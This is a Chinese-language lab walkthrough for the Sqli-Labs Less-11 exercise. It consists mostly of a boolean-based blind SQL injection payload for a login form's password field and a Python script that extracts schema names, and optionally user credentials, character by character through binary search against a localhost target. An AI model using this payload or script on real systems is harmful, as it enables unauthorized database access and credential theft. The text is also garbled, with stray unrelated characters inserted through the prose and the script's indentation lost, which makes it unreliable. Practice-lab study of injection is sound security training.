0x01. 單次查詢
uname=1&passwd=1' or ((ascii(mid((select schema_name from information_schema.schemata limit 0,1),1,1)))>65)--+
注意:在使用Python的Requests庫提交POST時(shí)增热,url會被編碼狭归,所有的(空格)
都被+
代替抄淑,所以在Python腳本中不能使用+
商佛,也不能使用類似%23
等編碼后字符等缀。
0x02. Python腳本
import sys
import requests
def getPayload(result_index, char_index, ascii):
# 系統(tǒng)表中數(shù)據(jù)
info_database_name = "information_schema"
info_table_name = "schemata" # schemata / tables / columns
info_column_name = "schema_name" # schema_name / table_name / column_name
# 注入表中數(shù)據(jù)
database_name = "security"
table_name = "users"
column_name = ["id","username","password"]
# 連接select
where_str = ""
#where_str = " where table_schema='"+database_name+"'"+" and table_name='"+table_name+"'"
select_str = "select "+info_column_name+" from "+info_database_name+"."+info_table_name+where_str+" limit "+str(result_index)+",1"
#select_str = "select concat_ws('-',"+column_name[0]+","+column_name[1]+","+column_name[2]+") from "+table_name+" limit "+str(result_index)+",1"
# 連接payload
sqli_str = "(ascii(mid(("+select_str+"),"+str(char_index)+",1))>"+str(ascii)+")"
payload = {"uname":"1", "passwd":"1' or "+sqli_str+"-- "}
return payload
def execute(result_index, char_index, ascii):
# 連接url
url = "http://localhost:8088/sqlilabs/Less-11/"
payload = getPayload(result_index, char_index, ascii)
#print(payload)
# 檢查回顯
echo = "Your Login name"
content = requests.post(url, data=payload).text
if echo in content:
return True
else:
return False
def dichotomy(result_index, char_index, left, right):
while left < right:
# 二分法
ascii = int((left+right)/2)
if execute(str(result_index), str(char_index+1), str(ascii)):
left = ascii
else:
right = ascii
# 結(jié)束二分
if left == right-1:
if execute(str(result_index), str(char_index+1), str(ascii)):
ascii += 1
break
else:
break
return chr(ascii)
if __name__ == "__main__":
for num in range(32): # 查詢結(jié)果的數(shù)量
count = 0
for len in range(32): # 單條查詢結(jié)果的長度
count += 1
char = dichotomy(num, len, 30, 126)
if ord(char) == 31: # 單條查詢結(jié)果已被遍歷
break
sys.stdout.write(char)
sys.stdout.flush()
if count == 1: # 查詢結(jié)果已被遍歷
break
sys.stdout.write("\r\n")
sys.stdout.flush()
注意:在Sqli-Labs的POST關(guān)卡中,登陸成功會顯示flag.jpg
徒仓,登錄失敗則會顯示slap.jpg
球恤,可以通過檢查response
含有哪個圖片來確定是否登錄成功。